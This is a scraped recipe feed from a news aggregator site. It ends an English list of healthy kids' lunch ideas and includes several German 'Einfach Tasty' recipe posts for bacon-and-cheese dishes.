<p><img decoding="async" class="alignnone size-full wp-image-770420" src="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/c7460__Thai-Noodle-Salad-with-Peanut-Sauce-100-71.jpg" sizes="(max-width: 780px) 100vw, 780px" srcset="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/c7460__Thai-Noodle-Salad-with-Peanut-Sauce-100-71.jpg 780w, https://cdn.lifehack.org/wp-content/uploads/2018/05/16123606/Thai-Noodle-Salad-with-Peanut-Sauce-100-71-768.jpg 768w, https://cdn.lifehack.org/wp-content/uploads/2018/05/16123606/Thai-Noodle-Salad-with-Peanut-Sauce-100-71-380.jpg 380w" width="100%" data-lh-image-id="770420" /></p>
<p>Filling your meals with plants of different colors will ensure that you are getting all of the vitamins and minerals you need. This recipe alone covers four colors! You can use any type of noodle (wheat, rice, soba, etc.) to make this dish, and customize the veggies to your heart’s content.</p>
<p><strong><a href="https://www.feastingathome.com/thai-noodle-salad-with-peanut-sauce/" target="_blank" rel="noopener">View recipe here.</a></strong></p>
<h4>14. Southwest Pasta Salad (Vegetarian)</h4>
<p><img decoding="async" class="alignnone size-full wp-image-770421" src="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/c7460__20140614-IMG_94641.jpg" sizes="(max-width: 692px) 100vw, 692px" srcset="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/c7460__20140614-IMG_94641.jpg 692w, https://cdn.lifehack.org/wp-content/uploads/2018/05/16123701/20140614-IMG_94641-380.jpg 380w" width="100%" data-lh-image-id="770421" /></p>
<p>This pasta salad is bursting with flavor — with tons of spices, lime juice and chipotle peppers. Don’t worry about making too much because the leftovers will be even more flavorful, after marinating in all of the seasonings overnight. And there is no heating needed! Use a lentil and quinoa pasta to make this dish gluten free.</p>
<p><strong><a href="https://www.ambitiouskitchen.com/healthy-southwest-pasta-salad-with-chipotle-lime-greek-yogurt-dressing/" target="_blank" rel="noopener">View recipe here.</a></strong></p>
<h4>15. Avocado Hummus Pasta (Vegan)</h4>
<p><img decoding="async" class="alignnone size-full wp-image-770422" src="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/b00f6__IMG_20180319_195527.jpg" sizes="(max-width: 3447px) 100vw, 3447px" srcset="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/b00f6__IMG_20180319_195527.jpg 3447w, https://cdn.lifehack.org/wp-content/uploads/2018/05/16123832/IMG_20180319_195527-1024.jpg 1024w, https://cdn.lifehack.org/wp-content/uploads/2018/05/16123832/IMG_20180319_195527-768.jpg 768w, https://cdn.lifehack.org/wp-content/uploads/2018/05/16123832/IMG_20180319_195527-380.jpg 380w" width="100%" data-lh-image-id="770422" /></p>
<p>This recipe is one that I created when I had no clue what to do with the vegetables, ripe avocados and leftover hummus I had to use up in my fridge. The textures and flavors of each ingredient somehow just works magically together. The creaminess from the avocado and hummus ties it all together. This accidental discovery is a huge hit with my husband and son!</p>
<p><em>Prep Time: 20 mins</em></p>
<p><em>Cook Time: 10 mins</em></p>
<p><em>Total Time: 30 mins</em></p>
<p>A 30-minute creamy vegan pasta loaded with veggies and tossed in a creamy sauce made from ripe avocados and hummus.</p>
<p>Serves: 6</p>
<p><strong>Ingredients</strong></p>
<ul>
<li>1 lb rotini pasta (substitute as needed)</li>
<li>3 tsp olive oil</li>
<li>3 cloves garlic, minced</li>
<li>16 oz white button or baby bella mushrooms, sliced</li>
<li>1 bunch asparagus, chopped</li>
<li>8 oz sugar snap peas</li>
<li>1 cup frozen or fresh spinach, chopped</li>
<li>1 large cucumber, chopped</li>
<li>3 oz sun-dried tomatoes, julienned</li>
<li>2-3 ripe avocados, chunks</li>
<li>10 oz hummus, any flavor</li>
<li>1 tbsp garlic powder</li>
<li>salt, pepper to taste</li>
</ul>
<p><strong>Instructions</strong></p>
<ol>
<li>Cook noodles according to package instructions, drain, and set aside.</li>
<li>Chop veggies and set aside.</li>
<li>Add olive oil to a large saucepan. Saute minced garlic until aromatic. Add mushrooms, asparagus, cucumber, spinach, and sun-dried tomatoes. Saute until tender.</li>
<li>Add pasta, avocado, and hummus to the pan and mix gently.</li>
<li>Add garlic powder, salt, and pepper.</li>
<li>Serve warm. Store leftovers in the fridge for a few days.</li>
</ol>
<h2>Some Assembly Required</h2>
<h4>16. French Bread Pizza</h4>
<p><img loading="lazy" decoding="async" class="alignnone size-full wp-image-770475" src="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/b00f6__9405475934_ef3ee61670_z.jpg" sizes="auto, (max-width: 630px) 100vw, 630px" srcset="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/b00f6__9405475934_ef3ee61670_z.jpg 630w, https://cdn.lifehack.org/wp-content/uploads/2018/05/16133453/9405475934_ef3ee61670_z-380.jpg 380w" width="630" height="419" data-lh-image-id="770475" /></p>
<p>This is one of the most versatile recipes I’ve ever come across. Not only can you completely customize the toppings on the pizza, you don’t even have to use French bread. Deli rolls, Italian rolls or hoagie rolls work just as well! The possibilities of toppings that you can add are endless. Have your kids customize their own individual pizzas with their favorite toppings to ensure they will create a meal they love.</p>
<p><strong><a href="http://thepioneerwoman.com/cooking/french-bread-pizzas/" target="_blank" rel="noopener">View recipe here.</a></strong></p>
<h4>17. Rainbow Pizza</h4>
<p><img loading="lazy" decoding="async" class="alignnone size-full wp-image-770477" src="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/b00f6__rainbow-pizza07-624x780.jpg" sizes="auto, (max-width: 624px) 100vw, 624px" srcset="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/b00f6__rainbow-pizza07-624x780.jpg 624w, https://cdn.lifehack.org/wp-content/uploads/2018/05/16133914/rainbow-pizza07-624x780-380.jpg 380w" width="624" height="780" data-lh-image-id="770477" /></p>
<p>Look at the colors on this pizza! Not only is this pizza visually appealing, it’s also extremely healthy and delicious. The combination of bell peppers, broccoli, red cabbage and beets add a variety of complementary textures and flavors to this creative pizza recipe.</p>
<p><strong><a href="https://www.babble.com/best-recipes/get-your-kids-to-eat-veggies-with-rainbow-pizza/" target="_blank" rel="noopener">View recipe here.</a></strong></p>
<h4>18. Asian Lettuce Wraps</h4>
<p><img loading="lazy" decoding="async" class="alignnone size-full wp-image-770482" src="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/b00f6__healthy-asian-chicken-lettuce-wraps.jpg" sizes="auto, (max-width: 565px) 100vw, 565px" srcset="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/b00f6__healthy-asian-chicken-lettuce-wraps.jpg 565w, https://cdn.lifehack.org/wp-content/uploads/2018/05/16134656/healthy-asian-chicken-lettuce-wraps-380.jpg 380w" width="565" height="478" data-lh-image-id="770482" /></p>
<p>Chicken lettuce wraps are a crowd-pleaser at P.F. Chang’s, but there’s no reason you can’t make a just as good if not better version at home. Requiring only 15 minutes, these lettuce wraps are scrumptious and fun to eat. Your kids will love assembling their own lettuce wraps and devouring this healthy lunch.</p>
<p><strong><a href="https://aseasyasapplepie.com/healthy-asian-chicken-lettuce-wraps/" target="_blank" rel="noopener">View recipe here.</a></strong></p>
<h4>19. Fish Tacos</h4>
<p><img decoding="async" class="alignnone size-full wp-image-770484" src="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/b00f6__gallery-1496701785-delish-fishtacos-pin-03.jpg" sizes="(max-width: 640px) 100vw, 640px" srcset="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/b00f6__gallery-1496701785-delish-fishtacos-pin-03.jpg 640w, https://cdn.lifehack.org/wp-content/uploads/2018/05/16135030/gallery-1496701785-delish-fishtacos-pin-03-380.jpg 380w" width="100%" data-lh-image-id="770484" /></p>
<p>Another way to get kids to eat fish is to serve them into tacos! These flaky pieces of fish are topped with a tangy, crunchy slaw loaded with veggies. The fish can be pan-fried or grilled and served in a flour or corn tortilla. Your kids will be requesting this dish over and over again.</p>
<p><strong><a href="https://www.delish.com/cooking/recipe-ideas/recipes/a53296/easy-fish-taco-recipe/" target="_blank" rel="noopener">View recipe here.</a></strong></p>
<h4>20. Skirt Steak Fajitas</h4>
<p><img decoding="async" class="alignnone size-full wp-image-770489" src="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/e0cf5__sheet-pan-steak-fajitas-4.jpg" sizes="(max-width: 680px) 100vw, 680px" srcset="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/e0cf5__sheet-pan-steak-fajitas-4.jpg 680w, https://cdn.lifehack.org/wp-content/uploads/2018/05/16135517/sheet-pan-steak-fajitas-4-380.jpg 380w" width="100%" data-lh-image-id="770489" /></p>
<p>This tortilla friendly recipe that incorporates skirt steak, onions and bell peppers has decided to go the fajita route. All of these ingredients can be combined on one baking sheet. That means fewer dishes and easier clean-up! You can serve with your favorite toppings such as avocado, sour cream, salsa and shredded cheese.</p>
<p><strong><a href="https://theblondcook.com/sheet-pan-steak-fajitas/" target="_blank" rel="noopener">View recipe here.</a></strong></p>
<h2>No Utensils Needed</h2>
<h4>21. Avocado Egg Salad Wraps</h4>
<p><img loading="lazy" decoding="async" class="alignnone size-full wp-image-770536" src="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/e0cf5__avocado-egg-salad-wraps-1.jpg" sizes="auto, (max-width: 590px) 100vw, 590px" srcset="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/e0cf5__avocado-egg-salad-wraps-1.jpg 590w, https://cdn.lifehack.org/wp-content/uploads/2018/05/16141148/avocado-egg-salad-wraps-1-380.jpg 380w" width="590" height="377" data-lh-image-id="770536" /></p>
<p>Eggs are a great ingredient to include in a nutrient-dense lunch for growing kids. Egg salad is one of the best ways to serve it, but the large amounts of mayonnaise introduces a lot of unnecessary saturated fats. This recipe cuts out a lot of the mayo and uses nature’s mayo — avocados, for creaminess.</p>
<p><strong><a href="https://www.jocooks.com/course/sandwiches/avocado-egg-salad-wraps/" target="_blank" rel="noopener">View recipe here.</a></strong></p>
<h4>22. Spicy Tuna Avocado Wrap</h4>
<p><img decoding="async" class="alignnone size-full wp-image-770542" src="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/e0cf5__spicy-tuna-77.jpg" sizes="(max-width: 3831px) 100vw, 3831px" srcset="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/e0cf5__spicy-tuna-77.jpg 3831w, https://cdn.lifehack.org/wp-content/uploads/2018/05/16141841/spicy-tuna-77-1024.jpg 1024w, https://cdn.lifehack.org/wp-content/uploads/2018/05/16141841/spicy-tuna-77-768.jpg 768w, https://cdn.lifehack.org/wp-content/uploads/2018/05/16141841/spicy-tuna-77-380.jpg 380w" width="100%" data-lh-image-id="770542" /></p>
<p>Canned tuna is such a convenient ingredient and is also a great source of protein, omega-3 fatty acids, iron and potassium. This wrap contains lots of hearty vegetables and uses avocado and Dijon mustard to flavor the tuna. Sriracha is used for added spice if your kids can handle spicy food! These wraps can be packed easily in a lunch box to take to school.</p>
<p><strong><a href="http://www.eatyourselfskinny.com/spicy-tuna-avocado-wrap/" target="_blank" rel="noopener">View recipe here.</a></strong></p>
<h4>23. Chicken and Avocado Roll-Ups</h4>
<p><img decoding="async" class="alignnone size-full wp-image-770555" src="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/030f5__chicken-avocado-roll-ups54.jpg" sizes="(max-width: 749px) 100vw, 749px" srcset="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/030f5__chicken-avocado-roll-ups54.jpg 749w, https://cdn.lifehack.org/wp-content/uploads/2018/05/16144208/chicken-avocado-roll-ups54-380.jpg 380w" width="100%" data-lh-image-id="770555" /></p>
<p>These easy roll-ups take only 10 minutes to make! And they’re packed with great veggies like avocados, tomatoes and onions. You can pack it with even more veggies like spinach, cucumber, or whatever you might have in your fridge.</p>
<p><strong><a href="https://gimmedelicious.com/2017/05/21/chicken-and-avocado-roll-ups/?epik=0RaddE_IW3-1w" target="_blank" rel="noopener">View recipe here.</a></strong></p>
<h4>24. White Bean Veggie Burgers (Vegan)</h4>
<p><img loading="lazy" decoding="async" class="alignnone size-full wp-image-770543" src="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/030f5__white-bean-burger1.jpg" sizes="auto, (max-width: 566px) 100vw, 566px" srcset="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/030f5__white-bean-burger1.jpg 566w, https://cdn.lifehack.org/wp-content/uploads/2018/05/16141914/white-bean-burger1-380.jpg 380w" width="566" height="377" data-lh-image-id="770543" /></p>
<p>Do you have kids that love eating burgers? These 100% vegan burgers with plant-based bacon and cheese will be so delicious that they won’t even realize they’re not eating meat. Beans contain lots of vitamins and fiber and are a great source of protein. You can bake or grill these delectable burger patties.</p>
<p><strong><a href="https://www.babble.com/best-recipes/easy-white-bean-veggie-burgers/" target="_blank" rel="noopener">View recipe here.</a></strong></p>
<h4>25. Turkey Spinach Slider</h4>
<p><img decoding="async" class="alignnone size-full wp-image-770550" src="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/030f5__turkey-spinach-sliders1.jpg" sizes="(max-width: 928px) 100vw, 928px" srcset="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/030f5__turkey-spinach-sliders1.jpg 928w, https://cdn.lifehack.org/wp-content/uploads/2018/05/16143323/turkey-spinach-sliders1-370x208.jpg 370w, https://cdn.lifehack.org/wp-content/uploads/2018/05/16143323/turkey-spinach-sliders1-370x208%402x.jpg 740w, https://cdn.lifehack.org/wp-content/uploads/2018/05/16143323/turkey-spinach-sliders1-768.jpg 768w, https://cdn.lifehack.org/wp-content/uploads/2018/05/16143323/turkey-spinach-sliders1-380.jpg 380w" width="100%" data-lh-image-id="770550" /></p>
<p>One of the problems with turkey burgers is that they can be flavorless and unappetizing when prepared incorrectly. This recipe incorporates ingredients that pack a punch like cumin and garlic. There’s also spinach leaves blended right into the patty, but your kids will be too busy chowing down to even notice!</p>
<p><strong><a href="https://www.bonappetit.com/recipe/turkey-spinach-sliders" target="_blank" rel="noopener">View recipe here.</a></strong></p>
<p>Making healthy lunches for home or school doesn’t have to be daunting task. Armed with these recipes, you have all the tools you need to find meals that the pickiest of eaters will enjoy.</p>
<p>By incorporating nutritional but less appealing ingredients into forms your kids recognize and love, you can introduce them to new flavors and hopefully, open their minds to trying new things.</p>
<p><span class="credit">Featured photo credit: <a href="https://pixabay.com/en/lunch-box-picnic-sandwich-200762" target="_blank" rel="noopener">Pixabay via pixabay.com</a></span></p>
<p><strong>READ MORE: <a href="https://www.jenreviews.com/rustic-pinto-bean-chili-recipe/" target="_blank" rel="noopener">Rustic Pinto Bean Chili Recipe</a></strong></p>
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		<title>Folge uns auf unserem neuen EINFACH TASTY Youtube-Kanal!</title>
		<link>https://briefnews.eu/folge-uns-auf-unserem-neuen-einfach-tasty-youtube-kanal-6/</link>
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		<dc:creator><![CDATA[martin]]></dc:creator>
		<pubDate>Thu, 07 Jun 2018 11:28:51 +0000</pubDate>
				<category><![CDATA[Entertainment]]></category>
		<category><![CDATA[einfach]]></category>
		<category><![CDATA[Folge]]></category>
		<category><![CDATA[NEUEN]]></category>
		<category><![CDATA[Tasty]]></category>
		<category><![CDATA[unserem]]></category>
		<category><![CDATA[YouTubeKanal]]></category>
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					<description><![CDATA[REZEPT: H&#252;hnchen mit Bacon-Alfredo-F&#252;llung ZUTATEN 3 Portionen 4 Scheiben Bacon 4 gehackte Knoblauchzehen 1/2 gehackte Zwiebel 100 g Frischk&#228;se 110 g geriebener Mozzarella 15 g Petersilie 55 g Parmesan 3 H&#228;hnchenbr&#252;ste 1 EL Salz 1 TL Pfeffer 1 EL Knoblauchpulver 100 g Mehl 100 g Paniermehl 3 geschlagene Eier 120 ml &#214;l ZUBEREITUNG 1. Den [&#8230;]]]></description>
										<content:encoded><![CDATA[<div><img decoding="async" src="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/4a729__bist-du-bereit-fur-huhnchen-mit-bacon-alfredo-ful-2-27391-1528274923-0_dblbig.jpg" class="ff-og-image-inserted"></div>
<div class="subbuzz subbuzz-image
  
  
  
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<h3 class="subbuzz__title  xs-mb1 bold">
<p>      <span class="js-subbuzz__title-text">REZEPT: H&uuml;hnchen mit Bacon-Alfredo-F&uuml;llung</span></p>
</h3>
<figure class="subbuzz__media">
<div class="flex xs-flex-column">
<div class="subbuzz__description
  
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  "></p>
<p><b>ZUTATEN</b></p>
<p>3 Portionen</p>
<p>4 Scheiben Bacon</p>
<p>4 gehackte Knoblauchzehen</p>
<p>1/2 gehackte Zwiebel</p>
<p>100 g Frischk&auml;se</p>
<p>110 g geriebener Mozzarella</p>
<p>15 g Petersilie</p>
<p>55 g Parmesan</p>
<p>3 H&auml;hnchenbr&uuml;ste</p>
<p>1 EL Salz</p>
<p>1 TL Pfeffer</p>
<p>1 EL Knoblauchpulver</p>
<p>100 g Mehl</p>
<p>100 g Paniermehl</p>
<p>3 geschlagene Eier</p>
<p>120 ml &Ouml;l</p>
</div></div>
</figure>
</div>
<div class="subbuzz subbuzz-text
  
  
  
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<h3 class="subbuzz__title  xs-mb1 bold">
<p>      <span class="js-subbuzz__title-text">ZUBEREITUNG</span></p>
</h3>
<p>1. Den Bacon bei mittelstarker Hitze anbraten, dann Zwiebel und Knoblauch hinzuf&uuml;gen. And&uuml;nsten bis die Zwiebel glasig wird. Auf einem Papiertuch abtropfen lassen.</p>
<p>2. Den Ofen auf 180&deg;C vorheizen.</p>
<p>3. Bacon-Mix in einer mittelgro&szlig;en Sch&uuml;ssel mit dem Frischk&auml;se, dem Mozzarella, der Petersilie und dem Parmesan vermengen und beiseite stellen.</p>
<p>4. Die H&auml;hnchenbr&uuml;ste in Salz, Pfeffer und Knoblauchpulver wenden, dann vorsichtig Taschen ins Fleisch schneiden.</p>
<p>5. Den Alfredo-Mix in die Taschen f&uuml;llen, dann die Enden zusammenpressen. </p>
<p>6. Das gef&uuml;llte H&auml;hnchen in Mehl, dann in den Eiern, dann im Paniermehl wenden.</p>
<p>7. &Ouml;l in der Pfanne erhitzen und die H&auml;hnchenbr&uuml;ste von beiden Seiten goldbraun frittieren.</p>
<p>8. H&auml;hnchenbr&uuml;ste 25 Minuten lang backen.</p>
<p>9. Guten Appetit!</p>
</div>
<div class="subbuzz subbuzz-image
  
  
  
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<h3 class="subbuzz__title  xs-mb1 bold">
<p>      <span class="js-subbuzz__title-text"><a target="_blank" href="https://www.youtube.com/channel/UCxoQAL9QLG1MYQ6QR3CTLpw?view_as=subscriber" target="_blank" data-skimlinks-tracking="4410212">HIER</a> folgst du Einfach Tasty auf Youtube und <a target="_blank" href="https://www.facebook.com/EinfachTasty/" target="_blank" data-skimlinks-tracking="4410212">HIER</a> folgst du Einfach Tasty auf Facebook.</span></p>
</h3>
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</figure>
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<p><strong><a target="_blank" href="https://blockads.fivefilters.org">Let&#8217;s block ads!</a></strong> <a target="_blank" href="https://blockads.fivefilters.org/acceptable.html">(Why?)</a></p>
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		<title>Folge uns auf unserem neuen EINFACH TASTY Youtube-Kanal!</title>
		<link>https://briefnews.eu/folge-uns-auf-unserem-neuen-einfach-tasty-youtube-kanal-5/</link>
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		<dc:creator><![CDATA[martin]]></dc:creator>
		<pubDate>Wed, 06 Jun 2018 10:01:51 +0000</pubDate>
				<category><![CDATA[Entertainment]]></category>
		<category><![CDATA[einfach]]></category>
		<category><![CDATA[Folge]]></category>
		<category><![CDATA[NEUEN]]></category>
		<category><![CDATA[Tasty]]></category>
		<category><![CDATA[unserem]]></category>
		<category><![CDATA[YouTubeKanal]]></category>
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					<description><![CDATA[REZEPT: Bacon-K&#228;se-Risotto ZUTATEN Br&#252;he: Karotten Lauch Zwiebel Rosmarin Thymian Lorbeer 1 Chili-Schote Salz Pfeffer Risotto: 250g Bacon &#189; Zwiebel 400g Risotto-Reis 240ml Trockener Wei&#223;wein 55g Parmesan 55g Mozzarella 1 EL Butter ZUBEREITUNG 1. Karotten, Lauch, eine Zwiebel, Rosmarin, Thymian, Lorbeer, eine Chili-Schote, Salz und Pfeffer in einen Topf mit Wasser geben. 2. Topf erhitzen,10 Minuten [&#8230;]]]></description>
										<content:encoded><![CDATA[<div><img decoding="async" src="https://img.buzzfeed.com/buzzfeed-static/static/2018-06/4/7/enhanced/buzzfeed-prod-web-02/original-8871-1528112758-2.jpg?crop=914:478;0,0" class="ff-og-image-inserted"></div>
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<p>      <span class="js-subbuzz__title-text">REZEPT: Bacon-K&auml;se-Risotto</span></p>
</h3>
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<p><b>ZUTATEN</b></p>
<p>Br&uuml;he:</p>
<p>Karotten</p>
<p>Lauch</p>
<p>Zwiebel </p>
<p>Rosmarin</p>
<p>Thymian</p>
<p>Lorbeer</p>
<p>1 Chili-Schote</p>
<p>Salz</p>
<p>Pfeffer</p>
<p>Risotto: </p>
<p>250g Bacon</p>
<p>&frac12; Zwiebel</p>
<p>400g Risotto-Reis</p>
<p>240ml Trockener Wei&szlig;wein</p>
<p>55g Parmesan</p>
<p>55g Mozzarella</p>
<p>1 EL Butter</p>
</div></div>
</figure>
</div>
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<p>      <span class="js-subbuzz__title-text">ZUBEREITUNG</span></p>
</h3>
<p>1. Karotten, Lauch, eine Zwiebel, Rosmarin, Thymian, Lorbeer, eine Chili-Schote, Salz und Pfeffer in einen Topf mit Wasser geben.</p>
<p>2. Topf erhitzen,10 Minuten k&ouml;cheln lassen und danach von der Hitze nehmen &ndash; Br&uuml;he aber warm halten!</p>
<p>3. Jetzt den Bacon in einen hei&szlig;en Topf geben und gut anbraten. Dann Bacon aus dem Topf nehmen.</p>
<p>4. Und eine halbe, gew&uuml;rfelte Zwiebel in den hei&szlig;en Topf geben. Anbraten!</p>
<p>5. 400g Risotto-Reis hinzugeben.</p>
<p>6. Umr&uuml;hren und dann trockenen Wei&szlig;wein hinzugeben. </p>
<p>7. Wieder gut r&uuml;hren.</p>
<p>8. Dann zwei Kellen der Gem&uuml;sebr&uuml;he dazugeben.</p>
<p>9. Gut umr&uuml;hren und so lange immer wieder Br&uuml;he hinzugeben, bis Risotto-Reis al dente ist.</p>
<p>10. Geriebenen Parmesan und Mozzarella-St&uuml;ckchen dazugeben.</p>
<p>11. Wieder r&uuml;hren.</p>
<p>12. Bacon rein, nach Belieben nochmal Mozzarella und ein Essl&ouml;ffel Butter hinzu.</p>
<p>13 Fertig! ( Mit Parmesan und Bacon bestreuen.)</p>
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<p>      <span class="js-subbuzz__title-text">NOCH MEHR REZEPTE?</span></p>
</h3>
<p>* &#8230; diese <a target="_blank" href="https://www.buzzfeed.com/sabamboundza/fleisch-fleisch-fleisch-kaese" data-skimlinks-tracking="4839274">Hackfleischrolle mit Schinken, Bacon und K&auml;se</a>.</p>
<p>* oder wie w&auml;r&#8217;s mit diesen <a target="_blank" href="https://www.buzzfeed.com/vaughnvreeland/kartoffelig" data-skimlinks-tracking="4839274">4 grandiosen Ofenkartoffeln</a>?</p>
<p>* und diese super einfachen <a target="_blank" href="https://www.buzzfeed.com/merleoneal/tornado-kartoffeln-alter" data-skimlinks-tracking="4839274">Tornado-Kartoffeln</a> solltest du eh mal probieren.</p>
</div>
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<p>      <span class="js-subbuzz__title-text">Oder lies dir diese gro&szlig;artigen Rezepte durch und hol dir etwas Inspiration f&uuml;r dein n&auml;chstes Abendessen:</span></p>
</h3>
<p><a target="_blank" href="https://www.buzzfeed.com/matthewfjohnson/sabber?utm_term=.vxjyL0ykm#.piXWdbW1v" data-skimlinks-tracking="4839274">Diese H&auml;hnchen-Cordon-Bleu-Rollen sind so knusprig und cremig, da l&auml;uft dir das Wasser im Mund zusammen</a></p>
<p><a target="_blank" href="https://www.buzzfeed.com/tastyeditor/geile-rolle?utm_term=.nmwanWaoA#.hjmDgmD94" data-skimlinks-tracking="4839274">Huiuiui, gib dir mal bitte diese Kartoffelrolle mit Hack-K&auml;se-F&uuml;llung</a></p>
</div>
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<h3 class="subbuzz__title  xs-mb1 bold">
<p>      <span class="js-subbuzz__title-text"><a target="_blank" href="https://www.youtube.com/channel/UCxoQAL9QLG1MYQ6QR3CTLpw?view_as=subscriber" target="_blank" data-skimlinks-tracking="4839274">HIER</a> folgst du Einfach Tasty auf Youtube und <a target="_blank" href="https://www.facebook.com/EinfachTasty/" target="_blank" data-skimlinks-tracking="4839274">HIER</a> folgst du Einfach Tasty auf Facebook.</span></p>
</h3>
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		<item>
		<title>Folge uns auf unserem neuen EINFACH TASTY Youtube-Kanal!</title>
		<link>https://briefnews.eu/folge-uns-auf-unserem-neuen-einfach-tasty-youtube-kanal-4/</link>
					<comments>https://briefnews.eu/folge-uns-auf-unserem-neuen-einfach-tasty-youtube-kanal-4/#respond</comments>
		
		<dc:creator><![CDATA[martin]]></dc:creator>
		<pubDate>Mon, 04 Jun 2018 11:22:08 +0000</pubDate>
				<category><![CDATA[Entertainment]]></category>
		<category><![CDATA[einfach]]></category>
		<category><![CDATA[Folge]]></category>
		<category><![CDATA[NEUEN]]></category>
		<category><![CDATA[Tasty]]></category>
		<category><![CDATA[unserem]]></category>
		<category><![CDATA[YouTubeKanal]]></category>
		<guid isPermaLink="false">http://briefnews.eu/folge-uns-auf-unserem-neuen-einfach-tasty-youtube-kanal-4/</guid>

					<description><![CDATA[REZEPT: Kartoffel-Lasagne mit Schinken und K&#228;se Einfach Tasty ZUTATEN 4-5 Portionen 5 gro&#223;e gesch&#228;lte Kartoffeln 2 TL Salz 1 TL Pfeffer 8-10 Scheiben Schinken 7-8 Scheiben Mozzarella 5 Scheiben gebratener Bacon, zerkleinert 5 g Petersilie 220 g geriebener Mozzarella 240 g Sahne 2 Eier ZUBEREITUNG 1. Ofen auf 180&#176;C vorheizen. 2. Die Kartoffeln in dicke [&#8230;]]]></description>
										<content:encoded><![CDATA[<div><img decoding="async" src="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/291ff__kartoffel-lasagne-mit-schinken-und-kase-geht-immer-2-5830-1528105461-7_dblbig.jpg" class="ff-og-image-inserted"></div>
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<p>      <span class="js-subbuzz__title-text">REZEPT: Kartoffel-Lasagne mit Schinken und K&auml;se</span></p>
</h3>
<figure class="subbuzz__media">
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  Einfach Tasty<br />
</span></p>
<div class="subbuzz__description
  
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<p><b>ZUTATEN</b></p>
<p>4-5 Portionen</p>
<p>5 gro&szlig;e gesch&auml;lte Kartoffeln</p>
<p>2 TL Salz</p>
<p>1 TL Pfeffer</p>
<p>8-10 Scheiben Schinken</p>
<p>7-8 Scheiben Mozzarella</p>
<p>5 Scheiben gebratener Bacon, zerkleinert</p>
<p>5 g Petersilie</p>
<p>220 g geriebener Mozzarella</p>
<p>240 g Sahne</p>
<p>2 Eier</p>
</div></div>
</figure>
</div>
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<p>      <span class="js-subbuzz__title-text">ZUBEREITUNG</span></p>
</h3>
<p>1. Ofen auf 180&deg;C vorheizen.</p>
<p>2. Die Kartoffeln in dicke Scheiben schneiden und in Salz und Pfeffer wenden.</p>
<p>3. Eine Schicht Kartoffelscheiben in eine eingefettete Backform legen.</p>
<p>4. Je die H&auml;lfte der Schinken- und Mozzarella-Scheiben auf die Kartoffelschicht legen.</p>
<p>5. Wiederholen.</p>
<p>6. Bacon und Petersilie auf die Lasagne streuen und eine letzte Schicht Kartoffelscheiben dar&uuml;ber legen.</p>
<p>7. Den geriebenen Mozzarella auf die Kartoffeln streuen und mit den Fingern zu einer glatten Schicht pressen.</p>
<p>8. Sahne und Eier in einer Sch&uuml;ssel zusammen mischen und &uuml;ber den geriebenen Mozzarella geben.</p>
<p>9. 40 Minuten lang backen, bis der K&auml;se goldbraun ist.</p>
<p>10. Guten Appetit!</p>
</div>
<div class="subbuzz subbuzz-text
  
  
  
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<h3 class="subbuzz__title  xs-mb1 bold">
<p>      <span class="js-subbuzz__title-text">Wir h&auml;tten da aber noch mehr &hellip;</span></p>
</h3>
<p>* &#8230; diese <a target="_blank" href="https://www.buzzfeed.com/sabamboundza/fleisch-fleisch-fleisch-kaese" data-skimlinks-tracking="4398426">Hackfleischrolle mit Schinken, Bacon und K&auml;se</a>.</p>
<p>* oder wie w&auml;r&#8217;s mit diesen <a target="_blank" href="https://www.buzzfeed.com/vaughnvreeland/kartoffelig" data-skimlinks-tracking="4398426">4 grandiosen Ofenkartoffeln</a>?</p>
<p>* und diese super einfachen <a target="_blank" href="https://www.buzzfeed.com/merleoneal/tornado-kartoffeln-alter" data-skimlinks-tracking="4398426">Tornado-Kartoffeln</a> solltest du eh mal probieren.</p>
</div>
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<h3 class="subbuzz__title  xs-mb1 bold">
<p>      <span class="js-subbuzz__title-text"><a target="_blank" href="https://www.youtube.com/channel/UCxoQAL9QLG1MYQ6QR3CTLpw?view_as=subscriber" target="_blank" data-skimlinks-tracking="4398426">HIER</a> folgst du Einfach Tasty auf Youtube und <a target="_blank" href="https://www.facebook.com/EinfachTasty/" target="_blank" data-skimlinks-tracking="4398426">HIER</a> folgst du Einfach Tasty auf Facebook.</span></p>
</h3>
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		<title>25 Tasty and Healthy Kids&#8217; Lunch Ideas for Home or School</title>
		<link>https://briefnews.eu/25-tasty-and-healthy-kids-lunch-ideas-for-home-or-school/</link>
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		<dc:creator><![CDATA[martin]]></dc:creator>
		<pubDate>Mon, 28 May 2018 06:49:51 +0000</pubDate>
				<category><![CDATA[Life & Style]]></category>
		<category><![CDATA[healthy]]></category>
		<category><![CDATA[home]]></category>
		<category><![CDATA[ideas]]></category>
		<category><![CDATA[kids]]></category>
		<category><![CDATA[lunch]]></category>
		<category><![CDATA[School]]></category>
		<category><![CDATA[Tasty]]></category>
		<guid isPermaLink="false">http://briefnews.eu/25-tasty-and-healthy-kids-lunch-ideas-for-home-or-school/</guid>

					<description><![CDATA[If your kids are picky eaters, you know that every meal can be a battle. Their growing bodies are in need of vitamins and nutrients, yet all they crave are unhealthy foods with no nutritional content. What you need are creative meal ideas they can eat for lunch at home or at school, designed to [&#8230;]]]></description>
